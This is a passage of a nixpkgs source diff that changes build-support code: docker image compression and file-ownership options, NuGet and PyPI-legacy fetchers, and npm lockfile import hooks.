(oldAttrs: { - pname = "picom-next"; - version = "unstable-2023-08-03"; - - buildInputs = [ - pcre2 - xcbutil - ] - # remove dependencies that are not used anymore - ++ (lib.subtractLists [ - libXinerama - pcre - ] - oldAttrs.buildInputs); - - src = fetchFromGitHub { - owner = "yshui"; - repo = "picom"; - rev = "5d6957d3da1bf99311a676eab94c69ef4276bedf"; - hash = "sha256-Mzf0533roLSODjMCPKyGSMbP7lIbT+PoLTZfoIBAI6g="; - }; - - meta = oldAttrs.meta // { - maintainers = with lib.maintainers; oldAttrs.meta.maintainers ++ [ GKasparov ]; - }; -}) diff --git a/pkgs/build-support/appimage/default.nix b/pkgs/build-support/appimage/default.nix index 078570ec7aea3..b59a3e2c11576 100644 --- a/pkgs/build-support/appimage/default.nix +++ b/pkgs/build-support/appimage/default.nix @@ -209,6 +209,7 @@ rec { xorg.libxshmfence # for apple-music-electron at-spi2-core pciutils # for FreeCAD + pipewire # immersed-vr wayland support ]; }; } diff --git a/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix b/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix index b5e03164ac269..81813473a8dbf 100644 --- a/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix +++ b/pkgs/build-support/build-fhsenv-bubblewrap/buildFHSEnv.nix @@ -251,7 +251,7 @@ let in runCommandLocal "${name}-fhs" { passthru = { - inherit args baseTargetPaths targetPaths baseMultiPaths multiPaths ldconfig; + inherit args baseTargetPaths targetPaths baseMultiPaths ldconfig; }; } '' mkdir -p $out diff --git a/pkgs/build-support/cc-wrapper/default.nix b/pkgs/build-support/cc-wrapper/default.nix index 693c6e6fcfd49..9ff560b2286a7 100644 --- a/pkgs/build-support/cc-wrapper/default.nix +++ b/pkgs/build-support/cc-wrapper/default.nix @@ -377,7 +377,7 @@ stdenv.mkDerivation { # this symlink points to the unwrapped gnat's output "out". It is used by # our custom gprconfig compiler description to find GNAT's ada runtime. See - # ../../development/tools/build-managers/gprbuild/{boot.nix, nixpkgs-gnat.xml} + # ../../development/ada-modules/gprbuild/{boot.nix, nixpkgs-gnat.xml} ln -sf ${cc} $out/nix-support/gprconfig-gnat-unwrapped '' diff --git a/pkgs/build-support/docker/default.nix b/pkgs/build-support/docker/default.nix index 05a1a6fbbdaf1..0583f522bda31 100644 --- a/pkgs/build-support/docker/default.nix +++ b/pkgs/build-support/docker/default.nix @@ -8,6 +8,7 @@ , proot , fakeNss , fakeroot +, file , go , jq , jshon @@ -34,6 +35,7 @@ , writeText , writeTextDir , writePython3 +, zstd }: let @@ -62,6 +64,8 @@ let # https://github.com/NixOS/nix/blob/9348f9291e5d9e4ba3c4347ea1b235640f54fd79/src/libutil/util.cc#L478 export USER=nobody ${buildPackages.nix}/bin/nix-store --load-db < ${closureInfo {rootPaths = contentsList;}}/registration + # Reset registration times to make the image reproducible + ${buildPackages.sqlite}/bin/sqlite3 nix/var/nix/db/db.sqlite "UPDATE ValidPaths SET registrationTime = ''${SOURCE_DATE_EPOCH}" mkdir -p nix/var/nix/gcroots/docker/ for i in ${lib.concatStringsSep " " contentsList}; do @@ -76,6 +80,30 @@ let # mapping from the go package. defaultArchitecture = go.GOARCH; + compressors = { + none = { + ext = ""; + nativeInputs = [ ]; + compress = "cat"; + decompress = "cat"; + }; + gz = { + ext = ".gz"; + nativeInputs = [ pigz ]; + compress = "pigz -p$NIX_BUILD_CORES -nTR"; + decompress = "pigz -d -p$NIX_BUILD_CORES"; + }; + zstd = { + ext = ".zst"; + nativeInputs = [ zstd ]; + compress = "zstd -T$NIX_BUILD_CORES"; + decompress = "zstd -d -T$NIX_BUILD_CORES"; + }; + }; + + compressorForImage = compressor: imageName: compressors.${compressor} or + (throw "in docker image ${imageName}: compressor must be one of: [${toString builtins.attrNames compressors}]"); + in rec { examples = callPackage ./examples.nix { @@ -487,16 +515,17 @@ rec { ''; }; - buildLayeredImage = lib.makeOverridable ({ name, ... }@args: + buildLayeredImage = lib.makeOverridable ({ name, compressor ? "gz", ... }@args: let stream = streamLayeredImage args; + compress = compressorForImage compressor name; in - runCommand "${baseNameOf name}.tar.gz" + runCommand "${baseNameOf name}.tar${compress.ext}" { inherit (stream) imageName; passthru = { inherit (stream) imageTag; }; - nativeBuildInputs = [ pigz ]; - } "${stream} | pigz -nTR > $out" + nativeBuildInputs = compress.nativeInputs; + } "${stream} | ${compress.compress} > $out" ); # 1. extract the base image @@ -539,6 +568,8 @@ rec { buildVMMemorySize ? 512 , # Time of creation of the image. created ? "1970-01-01T00:00:01Z" + , # Compressor to use. One of: none, gz, zstd. + compressor ? "gz" , # Deprecated. contents ? null , @@ -574,6 +605,8 @@ rec { in if created == "now" then impure else pure; + compress = compressorForImage compressor name; + layer = if runAsRoot == null then @@ -590,9 +623,9 @@ rec { extraCommands; copyToRoot = rootContents; }; - result = runCommand "docker-image-${baseName}.tar.gz" + result = runCommand "docker-image-${baseName}.tar${compress.ext}" { - nativeBuildInputs = [ jshon pigz jq moreutils ]; + nativeBuildInputs = [ jshon jq moreutils ] ++ compress.nativeInputs; # Image name must be lowercase imageName = lib.toLower name; imageTag = lib.optionalString (tag != null) tag; @@ -746,7 +779,7 @@ rec { chmod -R a-w image echo "Cooking the image..." - tar -C image --hard-dereference --sort=name --mtime="@$SOURCE_DATE_EPOCH" --owner=0 --group=0 --xform s:'^./':: -c . | pigz -nTR > $out + tar -C image --hard-dereference --sort=name --mtime="@$SOURCE_DATE_EPOCH" --owner=0 --group=0 --xform s:'^./':: -c . | ${compress.compress} > $out echo "Finished." ''; @@ -761,16 +794,28 @@ rec { mergeImages = images: runCommand "merge-docker-images" { inherit images; - nativeBuildInputs = [ pigz jq ]; + nativeBuildInputs = [ file jq ] + ++ compressors.none.nativeInputs + ++ compressors.gz.nativeInputs + ++ compressors.zstd.nativeInputs; } '' mkdir image inputs # Extract images repos=() manifests=() + last_image_mime="application/gzip" for item in $images; do name=$(basename $item) mkdir inputs/$name - tar -I pigz -xf $item -C inputs/$name + + last_image_mime=$(file --mime-type -b $item) + case $last_image_mime in + "application/x-tar") ${compressors.none.decompress};; + "application/zstd") ${compressors.zstd.decompress};; + "application/gzip") ${compressors.gz.decompress};; + *) echo "error: unexpected layer type $last_image_mime" >&2; exit 1;; + esac < $item | tar -xC inputs/$name + if [ -f inputs/$name/repositories ]; then repos+=(inputs/$name/repositories) fi @@ -787,7 +832,14 @@ rec { mv repositories image/repositories mv manifest.json image/manifest.json # Create tarball and gzip - tar -C image --hard-dereference --sort=name --mtime="@$SOURCE_DATE_EPOCH" --owner=0 --group=0 --xform s:'^./':: -c . | pigz -nTR > $out + tar -C image --hard-dereference --sort=name --mtime="@$SOURCE_DATE_EPOCH" --owner=0 --group=0 --xform s:'^./':: -c . | ( + case $last_image_mime in + "application/x-tar") ${compressors.none.compress};; + "application/zstd") ${compressors.zstd.compress};; + "application/gzip") ${compressors.gz.compress};; + # `*)` not needed; already checked. + esac + ) > $out ''; @@ -840,41 +892,26 @@ rec { }) ); + # Arguments are documented in ../../../doc/build-helpers/images/dockertools.section.md streamLayeredImage = lib.makeOverridable ( { - # Image Name name - , # Image tag, the Nix's output hash will be used if null - tag ? null - , # Parent image, to append to. - fromImage ? null - , # Files to put on the image (a nix store path or list of paths). - contents ? [ ] - , # Docker config; e.g. what command to run on the container. - config ? { } - , # Image architecture, defaults to the architecture of the `hostPlatform` when unset - architecture ? defaultArchitecture - , # Time of creation of the image. Passing "now" will make the - # created date be the time of building. - created ? "1970-01-01T00:00:01Z" - , # Optional bash script to run on the files prior to fixturizing the layer. - extraCommands ? "" - , # Optional bash script to run inside fakeroot environment. - # Could be used for changing ownership of files in customisation layer. - fakeRootCommands ? "" - , # Whether to run fakeRootCommands in fakechroot as well, so that they - # appear to run inside the image, but have access to the normal Nix store. - # Perhaps this could be enabled on by default on pkgs.stdenv.buildPlatform.isLinux - enableFakechroot ? false - , # We pick 100 to ensure there is plenty of room for extension. I - # believe the actual maximum is 128. - maxLayers ? 100 - , # Whether to include store paths in the image. You generally want to leave - # this on, but tooling may disable this to insert the store paths more - # efficiently via other means, such as bind mounting the host store. - includeStorePaths ? true - , # Passthru arguments for the underlying derivation. - passthru ? {} + , tag ? null + , fromImage ? null + , contents ? [ ] + , config ? { } + , architecture ? defaultArchitecture + , created ? "1970-01-01T00:00:01Z" + , uid ? 0 + , gid ? 0 + , uname ? "root" + , gname ? "root" + , maxLayers ? 100 + , extraCommands ? "" + , fakeRootCommands ? "" + , enableFakechroot ? false + , includeStorePaths ? true + , passthru ? {} , }: assert @@ -923,6 +960,7 @@ rec { --sort name \ --exclude=./proc \ --exclude=./sys \ + --exclude=.${builtins.storeDir} \ --numeric-owner --mtime "@$SOURCE_DATE_EPOCH" \ --hard-dereference \ -cf $out/layer.tar . @@ -956,7 +994,7 @@ rec { conf = runCommand "${baseName}-conf.json" { - inherit fromImage maxLayers created; + inherit fromImage maxLayers created uid gid uname gname; imageName = lib.toLower name; preferLocalBuild = true; passthru.imageTag = @@ -1035,14 +1073,22 @@ rec { "store_layers": $store_layers[0], "customisation_layer", $customisation_layer, "repo_tag": $repo_tag, - "created": $created + "created": $created, + "uid": $uid, + "gid": $gid, + "uname": $uname, + "gname": $gname } ' --arg store_dir "${storeDir}" \ --argjson from_image ${if fromImage == null then "null" else "'\"${fromImage}\"'"} \ --slurpfile store_layers store_layers.json \ --arg customisation_layer ${customisationLayer} \ --arg repo_tag "$imageName:$imageTag" \ - --arg created "$created" | + --arg created "$created" \ + --arg uid "$uid" \ + --arg gid "$gid" \ + --arg uname "$uname" \ + --arg gname "$gname" | tee $out ''; @@ -1238,14 +1284,15 @@ rec { }; # Wrapper around streamNixShellImage to build an image from the result - buildNixShellImage = { drv, ... }@args: + buildNixShellImage = { drv, compressor ? "gz", ... }@args: let stream = streamNixShellImage args; + compress = compressorForImage compressor drv.name; in - runCommand "${drv.name}-env.tar.gz" + runCommand "${drv.name}-env.tar${compress.ext}" { inherit (stream) imageName; passthru = { inherit (stream) imageTag; }; - nativeBuildInputs = [ pigz ]; - } "${stream} | pigz -nTR > $out"; + nativeBuildInputs = compress.nativeInputs; + } "${stream} | ${compress.compress} > $out"; } diff --git a/pkgs/build-support/docker/examples.nix b/pkgs/build-support/docker/examples.nix index 5784e650dc2e4..72c1cbe0d4106 100644 --- a/pkgs/build-support/docker/examples.nix +++ b/pkgs/build-support/docker/examples.nix @@ -480,6 +480,22 @@ rec { layerC = layerOnTopOf layerB "c"; in layerC; + bashUncompressed = pkgs.dockerTools.buildImage { + name = "bash-uncompressed"; + tag = "latest"; + compressor = "none"; + # Not recommended. Use `buildEnv` between copy and packages to avoid file duplication. + copyToRoot = pkgs.bashInteractive; + }; + + bashZstdCompressed = pkgs.dockerTools.buildImage { + name = "bash-zstd"; + tag = "latest"; + compressor = "zstd"; + # Not recommended. Use `buildEnv` between copy and packages to avoid file duplication. + copyToRoot = pkgs.bashInteractive; + }; + # buildImage without explicit tag bashNoTag = pkgs.dockerTools.buildImage { name = "bash-no-tag"; @@ -614,6 +630,12 @@ rec { layeredImageWithFakeRootCommands ]; + mergeVaryingCompressor = pkgs.dockerTools.mergeImages [ + redis + bashUncompressed + bashZstdCompressed + ]; + helloOnRoot = pkgs.dockerTools.streamLayeredImage { name = "hello"; tag = "latest"; @@ -639,6 +661,20 @@ rec { includeStorePaths = false; }; + helloOnRootNoStoreFakechroot = pkgs.dockerTools.streamLayeredImage { + name = "hello"; + tag = "latest"; + contents = [ + (pkgs.buildEnv { + name = "hello-root"; + paths = [ pkgs.hello ]; + }) + ]; + config.Cmd = [ "hello" ]; + includeStorePaths = false; + enableFakechroot = true; + }; + etc = let inherit (pkgs) lib; diff --git a/pkgs/build-support/docker/stream_layered_image.py b/pkgs/build-support/docker/stream_layered_image.py index d7c63eb43a78f..98ec2358cef94 100644 --- a/pkgs/build-support/docker/stream_layered_image.py +++ b/pkgs/build-support/docker/stream_layered_image.py @@ -9,6 +9,8 @@ image as an uncompressed tarball to stdout: the fields with the same name on the image spec [2]. * "created" can be "now". * "created" is also used as mtime for files added to the image. +* "uid", "gid", "uname", "gname" is the file ownership, for example, + 0, 0, "root", "root". * "store_layers" is a list of layers in ascending order, where each layer is the list of store paths to include in that layer. @@ -45,7 +47,7 @@ from datetime import datetime, timezone from collections import namedtuple -def archive_paths_to(obj, paths, mtime): +def archive_paths_to(obj, paths, mtime, uid, gid, uname, gname): """ Writes the given store paths as a tar file to the given stream. @@ -61,14 +63,14 @@ def archive_paths_to(obj, paths, mtime): def apply_filters(ti): ti.mtime = mtime - ti.uid = 0 - ti.gid = 0 - ti.uname = "root" - ti.gname = "root" + ti.uid = uid + ti.gid = gid + ti.uname = uname + ti.gname = gname return ti def nix_root(ti): - ti.mode = 0o0555 # r-xr-xr-x + ti.mode = 0o0755 # rwxr-xr-x return ti def dir(path): @@ -208,7 +210,7 @@ def overlay_base_config(from_image, final_config): return final_config -def add_layer_dir(tar, paths, store_dir, mtime): +def add_layer_dir(tar, paths, store_dir, mtime, uid, gid, uname, gname): """ Appends given store paths to a TarFile object as a new layer. @@ -231,7 +233,7 @@ def add_layer_dir(tar, paths, store_dir, mtime): archive_paths_to( extract_checksum, paths, - mtime=mtime, + mtime, uid, gid, uname, gname ) (checksum, size) = extract_checksum.extract() @@ -247,7 +249,7 @@ def add_layer_dir(tar, paths, store_dir, mtime): archive_paths_to( write, paths, - mtime=mtime, + mtime, uid, gid, uname, gname ) write.close() @@ -324,6 +326,10 @@ def main(): else datetime.fromisoformat(conf["created"]) ) mtime = int(created.timestamp()) + uid = int(conf["uid"]) + gid = int(conf["gid"]) + uname = conf["uname"] + gname = conf["gname"] store_dir = conf["store_dir"] from_image = load_from_image(conf["from_image"]) @@ -336,7 +342,8 @@ def main(): for num, store_layer in enumerate(conf["store_layers"], start=start): print("Creating layer", num, "from paths:", store_layer, file=sys.stderr) - info = add_layer_dir(tar, store_layer, store_dir, mtime=mtime) + info = add_layer_dir(tar, store_layer, store_dir, + mtime, uid, gid, uname, gname) layers.append(info) print("Creating layer", len(layers) + 1, "with customisation...", diff --git a/pkgs/build-support/dotnet/build-dotnet-module/default.nix b/pkgs/build-support/dotnet/build-dotnet-module/default.nix index af960fb1d617d..15a753df07728 100644 --- a/pkgs/build-support/dotnet/build-dotnet-module/default.nix +++ b/pkgs/build-support/dotnet/build-dotnet-module/default.nix @@ -114,7 +114,6 @@ let then nugetDeps else mkNugetDeps { inherit name; - nugetDeps = import nugetDeps; sourceFile = nugetDeps; } else throw "Defining the `nugetDeps` attribute is required, as to lock the NuGet dependencies. This file can be generated by running the `passthru.fetch-deps` script."; diff --git a/pkgs/build-support/dotnet/make-nuget-deps/default.nix b/pkgs/build-support/dotnet/make-nuget-deps/default.nix index 8281976df6260..fcd3f9f076b27 100644 --- a/pkgs/build-support/dotnet/make-nuget-deps/default.nix +++ b/pkgs/build-support/dotnet/make-nuget-deps/default.nix @@ -1,5 +1,5 @@ { linkFarmFromDrvs, fetchurl }: -{ name, nugetDeps, sourceFile ? null }: +{ name, nugetDeps ? import sourceFile, sourceFile ? null }: linkFarmFromDrvs "${name}-nuget-deps" (nugetDeps { fetchNuGet = { pname, version, sha256 , url ? "https://www.nuget.org/api/v2/package/${pname}/${version}" }: diff --git a/pkgs/build-support/dotnet/nuget-to-nix/nuget-to-nix.sh b/pkgs/build-support/dotnet/nuget-to-nix/nuget-to-nix.sh index 34c42929857d1..def59954e4806 100755 --- a/pkgs/build-support/dotnet/nuget-to-nix/nuget-to-nix.sh +++ b/pkgs/build-support/dotnet/nuget-to-nix/nuget-to-nix.sh @@ -23,10 +23,17 @@ export DOTNET_CLI_TELEMETRY_OPTOUT=1 mapfile -t sources < <(dotnet nuget list source --format short | awk '/^E / { print $2 }') +declare -a remote_sources declare -A base_addresses for index in "${sources[@]}"; do - base_addresses[$index]=$( + if [[ -d "$index" ]]; then + continue + fi + + remote_sources+=($index) + + base_addresses[$index]=$( curl --compressed --netrc -fsL "$index" | \ jq -r '.resources[] | select(."@type" == "PackageBaseAddress/3.0.0")."@id"') done @@ -35,6 +42,7 @@ echo "{ fetchNuGet }: [" cd "$pkgs" for package in *; do + [[ -d "$package" ]] || continue cd "$package" for version in *; do id=$(xq -r .package.metadata.id "$version"/*.nuspec) @@ -44,7 +52,12 @@ for package in *; do fi used_source="$(jq -r '.source' "$version"/.nupkg.metadata)" - for source in "${sources[@]}"; do + + if [[ -d "$used_source" ]]; then + continue + fi + + for source in "${remote_sources[@]}"; do url="${base_addresses[$source]}$package/$version/$package.$version.nupkg" if [[ "$source" == "$used_source" ]]; then sha256="$(nix-hash --type sha256 --flat --base32 "$version/$package.$version".nupkg)" diff --git a/pkgs/build-support/fetchpypilegacy/default.nix b/pkgs/build-support/fetchpypilegacy/default.nix new file mode 100644 index 0000000000000..bcd560449916b --- /dev/null +++ b/pkgs/build-support/fetchpypilegacy/default.nix @@ -0,0 +1,45 @@ +# Fetch from PyPi legacy API as documented in https://warehouse.pypa.io/api-reference/legacy.html +{ runCommand +, lib +, python3 +}: +{ + # package name + pname, + # Package index + url ? null, + # Multiple package indices to consider + urls ? [ ], + # filename including extension + file, + # SRI hash + hash, + # allow overriding the derivation name + name ? null, +}: +let + urls' = urls ++ lib.optional (url != null) url; + + pathParts = lib.filter ({ prefix, path }: "NETRC" == prefix) builtins.nixPath; + netrc_file = + if (pathParts != [ ]) + then (lib.head pathParts).path + else ""; + +in +# Assert that we have at least one URL +assert urls' != [ ]; runCommand file + ({ + nativeBuildInputs = [ python3 ]; + impureEnvVars = lib.fetchers.proxyImpureEnvVars; + outputHashMode = "flat"; + # if hash is empty select a default algo to let nix propose the actual hash. + outputHashAlgo = if hash == "" then "sha256" else null; + outputHash = hash; + NETRC = netrc_file; + } + // (lib.optionalAttrs (name != null) {inherit name;})) + '' + python ${./fetch-legacy.py} ${lib.concatStringsSep " " (map (url: "--url ${lib.escapeShellArg url}") urls')} --pname ${pname} --filename ${file} + mv ${file} $out + '' diff --git a/pkgs/build-support/fetchpypilegacy/fetch-legacy.py b/pkgs/build-support/fetchpypilegacy/fetch-legacy.py new file mode 100644 index 0000000000000..e031f244a7714 --- /dev/null +++ b/pkgs/build-support/fetchpypilegacy/fetch-legacy.py @@ -0,0 +1,162 @@ +# Some repositories (such as Devpi) expose the Pypi legacy API +# (https://warehouse.pypa.io/api-reference/legacy.html). +# +# Note it is not possible to use pip +# https://discuss.python.org/t/pip-download-just-the-source-packages-no-building-no-metadata-etc/4651/12 + +import base64 +import argparse +import netrc +import os +import shutil +import ssl +import sys +import urllib.request +from html.parser import HTMLParser +from os.path import normpath +from typing import Optional +from urllib.parse import urlparse, urlunparse + + +# Parse the legacy index page to extract the href and package names +class Pep503(HTMLParser): + def __init__(self) -> None: + super().__init__() + self.sources: dict[str, str] = {} + self.url: Optional[str] = None + self.name: Optional[str] = None + + def handle_data(self, data: str) -> None: + if self.url is not None: + self.name = data + + def handle_starttag(self, tag: str, attrs: list[tuple[str, Optional[str]]]) -> None: + if tag == "a": + for name, value in attrs: + if name == "href": + self.url = value + + def handle_endtag(self, tag: str) -> None: + if self.url is not None: + if not self.name: + raise ValueError("Name not set") + + self.sources[self.name] = self.url + self.url = None + + +def try_fetch(url: str, package_name: str, package_filename: str) -> None: + index_url = url + "/" + package_name + "/" + + # Parse username and password for this host from the netrc file if given. + username: Optional[str] = None + password: Optional[str] = None + if os.environ.get("NETRC", "") != "": + netrc_obj = netrc.netrc(os.environ["NETRC"]) + host = urlparse(index_url).netloc + # Strip port number if present + if ":" in host: + host = host.split(":")[0] + authenticators = netrc_obj.authenticators(host) + if authenticators: + username, _, password = authenticators + + print("Reading index %s" % index_url) + + context = ssl.create_default_context() + + # Extract out username/password from index_url, if present. + parsed_url = urlparse(index_url) + username = parsed_url.username or username + password = parsed_url.password or password + index_url = parsed_url._replace(netloc=parsed_url.netloc.rpartition("@")[-1]).geturl() + + req = urllib.request.Request(index_url) + + if username and password: # Add authentication + password_b64 = base64.b64encode(":".join((username, password)).encode()).decode("utf-8") + req.add_header("Authorization", "Basic {}".format(password_b64)) + else: # If we are not using authentication disable TLS verification for long term reproducibility + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + + response = urllib.request.urlopen(req, context=context) + index = response.read() + + parser = Pep503() + parser.feed(str(index, "utf-8")) + if package_filename not in parser.sources: + print("The file %s has not be found in the index %s" % (package_filename, index_url)) + exit(1) + + package_file = open(package_filename, "wb") + # Sometimes the href is a relative or absolute path within the index's domain. + indicated_url = urlparse(parser.sources[package_filename]) + if indicated_url.netloc == "": + parsed_url = urlparse(index_url) + + if indicated_url.path.startswith("/"): + # An absolute path within the index's domain. + path = parser.sources[package_filename] + else: + # A relative path. + path = parsed_url.path + "/" + parser.sources[package_filename] + + package_url = urlunparse( + ( + parsed_url.scheme, + parsed_url.netloc, + path, + None, + None, + None, + ) + ) + else: + package_url = parser.sources[package_filename] + + # Handle urls containing "../" + parsed_url = urlparse(package_url) + real_package_url = urlunparse( + ( + parsed_url.scheme, + parsed_url.netloc, + normpath(parsed_url.path), + parsed_url.params, + parsed_url.query, + parsed_url.fragment, + ) + ) + print("Downloading %s" % real_package_url) + + req = urllib.request.Request(real_package_url) + if username and password: + req.add_unredirected_header("Authorization", "Basic {}".format(password_b64)) + response = urllib.request.urlopen(req, context=context) + + with response as r: + shutil.copyfileobj(r, package_file) + + +argparser = argparse.ArgumentParser(description="Fetch file from legacy pypi API") +argparser.add_argument("--url", action="append", required=True) +argparser.add_argument("--pname", action="store", required=True) +argparser.add_argument("--filename", action="store", required=True) + + +if __name__ == "__main__": + args = argparser.parse_args() + for url in args.url: + try: + try_fetch(url, args.pname, args.filename) + except urllib.error.HTTPError as e: + print("Got exception'", e, "', trying next package index", file=sys.stderr) + continue + else: + break + else: + print( + f"Could not fetch package '{args.pname}' file '{args.filename}' from any mirrors: {args.url}", + file=sys.stderr, + ) + exit(1) diff --git a/pkgs/build-support/fetchpypilegacy/tests.nix b/pkgs/build-support/fetchpypilegacy/tests.nix new file mode 100644 index 0000000000000..b16325b96b7ec --- /dev/null +++ b/pkgs/build-support/fetchpypilegacy/tests.nix @@ -0,0 +1,9 @@ +{ testers, fetchPypiLegacy, ... }: { + # Tests that we can send custom headers with spaces in them + fetchSimple = testers.invalidateFetcherByDrvHash fetchPypiLegacy { + pname = "requests"; + file = "requests-2.31.0.tar.gz"; + url = "https://pypi.org/simple"; + hash = "sha256-lCxadY+Y15Dq7Ropy27vx/+w0c968Fw9J5Flbb1q0eE="; + }; +} diff --git a/pkgs/build-support/node/build-npm-package/default.nix b/pkgs/build-support/node/build-npm-package/default.nix index 42c6a9c065b2e..1c7bf63e8cd6a 100644 --- a/pkgs/build-support/node/build-npm-package/default.nix +++ b/pkgs/build-support/node/build-npm-package/default.nix @@ -49,6 +49,12 @@ name = "${name}-npm-deps"; hash = npmDepsHash; } + # Custom npmConfigHook +, npmConfigHook ? null + # Custom npmBuildHook +, npmBuildHook ? null + # Custom npmInstallHook +, npmInstallHook ? null , ... } @ args: @@ -57,14 +63,19 @@ let npmHooks = buildPackages.npmHooks.override { inherit nodejs; }; - - inherit (npmHooks) npmConfigHook npmBuildHook npmInstallHook; in stdenv.mkDerivation (args // { inherit npmDeps npmBuildScript; nativeBuildInputs = nativeBuildInputs - ++ [ nodejs npmConfigHook npmBuildHook npmInstallHook nodejs.python ] + ++ [ + nodejs + # Prefer passed hooks + (if npmConfigHook != null then npmConfigHook else npmHooks.npmConfigHook) + (if npmBuildHook != null then npmBuildHook else npmHooks.npmBuildHook) + (if npmInstallHook != null then npmInstallHook else npmHooks.npmInstallHook) + nodejs.python + ] ++ lib.optionals stdenv.isDarwin [ darwin.cctools ]; buildInputs = buildInputs ++ [ nodejs ]; diff --git a/pkgs/build-support/node/import-npm-lock/default.nix b/pkgs/build-support/node/import-npm-lock/default.nix new file mode 100644 index 0000000000000..d530b8ee30ffc --- /dev/null +++ b/pkgs/build-support/node/import-npm-lock/default.nix @@ -0,0 +1,134 @@ +{ lib +, fetchurl +, stdenv +, callPackages +, runCommand +}: + +let + inherit (builtins) match elemAt toJSON removeAttrs; + inherit (lib) importJSON mapAttrs; + + matchGitHubReference = match "github(.com)?:.+"; + getName = package: package.name or "unknown"; + getVersion = package: package.version or "0.0.0"; + + # Fetch a module from package-lock.json -> packages + fetchModule = + { module + , npmRoot ? null + }: ( + if module ? "resolved" then + ( + let + # Parse scheme from URL + mUrl = match "(.+)://(.+)" module.resolved; + scheme = elemAt mUrl 0; + in + ( + if mUrl == null then + ( + assert npmRoot != null; { + outPath = npmRoot + "/${module.resolved}"; + } + ) + else if (scheme == "http" || scheme == "https") then + ( + fetchurl { + url = module.resolved; + hash = module.integrity; + } + ) + else if lib.hasPrefix "git" module.resolved then + ( + builtins.fetchGit { + url = module.resolved; + } + ) + else throw "Unsupported URL scheme: ${scheme}" + ) + ) + else null + ); + + # Manage node_modules outside of the store with hooks + hooks = callPackages ./hooks { }; + +in +{ + importNpmLock = + { npmRoot ? null + , package ? importJSON (npmRoot + "/package.json") + , packageLock ? importJSON (npmRoot + "/package-lock.json") + , pname ? getName package + , version ? getVersion package + }: + let + mapLockDependencies = + mapAttrs + (name: version: ( + # Substitute the constraint with the version of the dependency from the top-level of package-lock. + if ( + # if the version is `latest` + version == "latest" + || + # Or if it's a github reference + matchGitHubReference version != null + ) then packageLock'.packages.${"node_modules/${name}"}.version + # But not a regular version constraint + else version + )); + + packageLock' = packageLock // { + packages = + mapAttrs + (_: module: + let + src = fetchModule { + inherit module npmRoot; + }; + in + (removeAttrs module [ + "link" + "funding" + ]) // lib.optionalAttrs (src != null) { + resolved = "file:${src}"; + } // lib.optionalAttrs (module ? dependencies) { + dependencies = mapLockDependencies module.dependencies; + } // lib.optionalAttrs (module ? optionalDependencies) { + optionalDependencies = mapLockDependencies module.optionalDependencies; + }) + packageLock.packages; + }; + + mapPackageDependencies = mapAttrs (name: _: packageLock'.packages.${"node_modules/${name}"}.resolved); + + # Substitute dependency references in package.json with Nix store paths + packageJSON' = package // lib.optionalAttrs (package ? dependencies) { + dependencies = mapPackageDependencies package.dependencies; + } // lib.optionalAttrs (package ? devDependencies) { + devDependencies = mapPackageDependencies package.devDependencies; + }; + + pname = package.name or "unknown"; + + in + runCommand "${pname}-${version}-sources" + { + inherit pname version; + + passAsFile = [ "package" "packageLock" ]; + + package = toJSON packageJSON'; + packageLock = toJSON packageLock'; + } '' + mkdir $out + cp "$packagePath" $out/package.json + cp "$packageLockPath" $out/package-lock.json + ''; + + inherit hooks; + inherit (hooks) npmConfigHook; + + __functor = self: self.importNpmLock; +} diff --git a/pkgs/build-support/node/import-npm-lock/hooks/canonicalize-symlinks.js b/pkgs/build-support/node/import-npm-lock/hooks/canonicalize-symlinks.js new file mode 100644 index 0000000000000..81cd2593c5b21 --- /dev/null +++ b/pkgs/build-support/node/import-npm-lock/hooks/canonicalize-symlinks.js @@ -0,0 +1,52 @@ +#!/usr/bin/env node +const fs = require("fs"); +const path = require("path"); + +// When installing files rewritten to the Nix store with npm +// npm writes the symlinks relative to the build directory. +// +// This makes relocating node_modules tricky when refering to the store. +// This script walks node_modules and canonicalizes symlinks. + +async function canonicalize(storePrefix, root) { + console.log(storePrefix, root) + const entries = await fs.promises.readdir(root); + const paths = entries.map((entry) => path.join(root, entry)); + + const stats = await Promise.all( + paths.map(async (path) => { + return { + path: path, + stat: await fs.promises.lstat(path), + }; + }) + ); + + const symlinks = stats.filter((stat) => stat.stat.isSymbolicLink()); + const dirs = stats.filter((stat) => stat.stat.isDirectory()); + + // Canonicalize symlinks to their real path + await Promise.all( + symlinks.map(async (stat) => { + const target = await fs.promises.realpath(stat.path); + if (target.startsWith(storePrefix)) { + await fs.promises.unlink(stat.path); + await fs.promises.symlink(target, stat.path); + } + }) + ); + + // Recurse into directories + await Promise.all(dirs.map((dir) => canonicalize(storePrefix, dir.path))); +} + +async function main() { + const args = process.argv.slice(2); + const storePrefix = args[0]; + + if (fs.existsSync("node_modules")) { + await canonicalize(storePrefix, "node_modules"); + } +} + +main(); diff --git a/pkgs/build-support/node/import-npm-lock/hooks/default.nix b/pkgs/build-support/node/import-npm-lock/hooks/default.nix new file mode 100644 index 0000000000000..5990371def912 --- /dev/null +++ b/pkgs/build-support/node/import-npm-lock/hooks/default.nix @@ -0,0 +1,13 @@ +{ callPackage, lib, makeSetupHook, srcOnly, nodejs }: +{ + npmConfigHook = makeSetupHook + { + name = "npm-config-hook"; + substitutions = { + nodeSrc = srcOnly nodejs; + nodeGyp = "${nodejs}/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js"; + canonicalizeSymlinksScript = ./canonicalize-symlinks.js; + storePrefix = builtins.storeDir; + }; + } ./npm-config-hook.sh; +} diff --git a/pkgs/build-support/node/import-npm-lock/hooks/npm-config-hook.sh b/pkgs/build-support/node/import-npm-lock/hooks/npm-config-hook.sh new file mode 100644 index 0000000000000..35c3a2061d4b1 --- /dev/null +++ b/pkgs/build-support/node/import-npm-lock/hooks/npm-config-hook.sh @@ -0,0 +1,70 @@ +# shellcheck shell=bash + +npmConfigHook() { + echo "Executing npmConfigHook" + + if [ -n "${npmRoot-}" ]; then + pushd "$npmRoot" + fi + + if [ -z "${npmDeps-}" ]; then + echo "Error: 'npmDeps' should be set when using npmConfigHook." + exit 1 + fi + + echo "Configuring npm" + + export HOME="$TMPDIR" + export npm_config_nodedir="@nodeSrc@" + export npm_config_node_gyp="@nodeGyp@" + npm config set offline true + npm config set progress false + npm config set fund false + + echo "Installing patched package.json/package-lock.json" + + # Save original package.json/package-lock.json for closure size reductions. + # The patched one contains store paths we don't want at runtime. + mv package.json 